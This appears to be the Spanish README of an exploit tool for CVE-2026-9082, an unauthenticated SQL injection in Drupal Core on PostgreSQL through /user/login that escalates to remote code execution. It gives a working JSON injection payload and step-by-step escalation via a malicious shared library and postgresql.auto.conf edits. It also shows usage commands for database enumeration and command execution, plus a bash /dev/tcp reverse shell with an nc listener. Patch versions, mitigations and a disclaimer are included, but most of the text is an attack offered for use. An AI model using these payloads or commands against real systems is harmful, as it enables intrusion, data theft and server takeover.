
Drupal Core PostgreSQL SQLi a RCE mediante /user/login (CVE-2026-9082 / SA-CORE-2026-004)
Inyección SQL no autenticada en Drupal Core sobre PostgreSQL mediante POST /user/login, escalada a ejecución remota de código a través de session_preload_libraries de PostgreSQL.
A diferencia de los exploits públicos existentes que apuntan a JSON:API, este utiliza el endpoint de inicio de sesión — siempre disponible, sin necesidad de módulos ni contenido publicado.
Aviso: SA-CORE-2026-004 | Riesgo: 23/25 (Altamente crítico) | CISA KEV
Solo los sitios Drupal respaldados por PostgreSQL son vulnerables.
| Rama | Vulnerable | Parcheada |
|---|---|---|
| 11.3.x | < 11.3.10 | 11.3.10 |
| 11.2.x | < 11.2.12 | 11.2.12 |
| 11.0.x - 11.1.x | < 11.1.10 | 11.1.10 |
| 10.6.x | < 10.6.9 | 10.6.9 |
| 10.5.x | < 10.5.10 | 10.5.10 |
| 10.4.x | < 10.4.10 | 10.4.10 |
| 8.9.x - 10.3.x | Todas | Fin de vida útil - actualice |
El manejador de condiciones de consulta de entidades de PostgreSQL de Drupal (core/modules/pgsql/src/EntityQuery/Condition.php) construye condiciones IN insensibles a mayúsculas/minúsculas iterando $condition['value'] como un array asociativo y concatenando claves controladas por el usuario directamente en los identificadores de marcadores de posición de PDO — el SQL generado contiene LOWER(:<prefix><key>) donde <key> proviene textualmente del atacante.
Esta ruta de código solo se alcanza cuando se cumplen dos condiciones: is_array($condition['value']) y $case_sensitive === FALSE. Por eso solo PostgreSQL se ve afectado: MySQL y SQLite no tienen esta rama LOWER() insensible a mayúsculas/minúsculas.
El analizador de parámetros con nombre de PDO solo reconoce [a-zA-Z0-9_] después de :. Los caracteres fuera de ese conjunto (como | o )) terminan el token del marcador de posición. Así, una clave como 0||(subquery) produce un marcador de posición :prefix0 (compartido con la clave legítima 0) más el SQL literal ||(subquery) que llega a PostgreSQL sin parametrizar.
La corrección es una única llamada a array_values() que descarta las claves proporcionadas por el atacante antes de generar el SQL.
/user/login)POST /user/login?_format=json
{
"name": {
"0": "x",
"0||(SELECT CAST((SELECT version()) AS int))": "x"
},
"pass": "x"
}
El campo name se envía como un objeto JSON en lugar de una cadena. Drupal lo pasa a una condición IN de consulta de entidades con comparación insensible a mayúsculas/minúsculas. Para cada clave del array, Drupal genera LOWER(:<prefix><key>) en el SQL. La consulta resultante se ve así:
LOWER("users_field_data"."name") IN (
LOWER(:users_field_data_name0),
LOWER(:users_field_data_name0||(SELECT CAST((SELECT version()) AS int)))
)
PDO reconoce :users_field_data_name0 como el marcador de posición en ambas entradas (deteniéndose en | en la segunda) y vincula ambas a 'x'. El resto ||(SELECT ...) pasa como SQL literal. Después de la sustitución, PostgreSQL recibe:
LOWER(name) IN (
LOWER('x'),
LOWER('x'||(SELECT CAST((SELECT version()) AS int)))
)
El CAST(... AS int) falla con datos que no son enteros, y el mensaje de error filtra el resultado de la consulta.
Cuando el usuario de la base de datos es un superusuario de PostgreSQL, la inyección de solo SELECT se puede escalar a RCE:
data_directory y el estado de superusuario.so con _PG_init() que llame a system().so a data_directory mediante objetos grandes (lo_create -> lo_put -> lo_export)postgresql.auto.conf para establecer session_preload_libraries y dynamic_library_pathpg_reload_conf()Inyección SQL (cve_2026_9082_check.py):
Ejecución remota de código (cve_2026_9082_rce.py):
docker disponible localmente (para compilación cruzada en macOS)pip install -r requirements.txt
# Validate the SQL injection
python3 cve_2026_9082_check.py http://target:8081
# With a proxy (Burp, mitmproxy, etc.)
python3 cve_2026_9082_check.py http://target:8081 --proxy http://127.0.0.1:8080
# List all databases
python3 cve_2026_9082_sqli.py http://target:8081 --dbs
# List tables in a database
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal --tables
# List columns in a table
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal -T users_field_data --columns
# Run a command
python3 cve_2026_9082_rce.py http://target:8081 "id"
# Reverse shell
python3 cve_2026_9082_rce.py http://target:8081 \
"bash -c 'bash -i >& /dev/tcp/{lhost}/4444 0>&1'"
# Listener
nc -lvnp 4444
Validación de SQLi contra una instancia vulnerable:

Enumeración de bases de datos mediante inyección basada en errores:

Escalada a ejecución remota de código:

Actualice Drupal de inmediato a una versión parcheada:
Si no puede actualizar de inmediato:
POST /user/login con objetos JSON en el campo nameParches y detalles: SA-CORE-2026-004
| Fecha | Evento |
|---|---|
| 2026-05-20 | Drupal publica SA-CORE-2026-004, se publican los parches |
| 2026-05-22 | Explotación activa en entornos reales, añadido a CISA KEV |
| 2026-05-26 | Ambionics publica la técnica de SQLi a RCE mediante JSON:API |
| 2026-06-07 | Esta herramienta fue publicada |
/user/login) descrito por bitk & jfellus (YesWeHack)session_preload_libraries) por N. Maccary / Ambionics (Lexfo)/user/login por r0m41nEsta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos.
El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el mal uso de este software. Obtenga siempre la autorización adecuada antes de probar sistemas que no posee.
pg_read_file()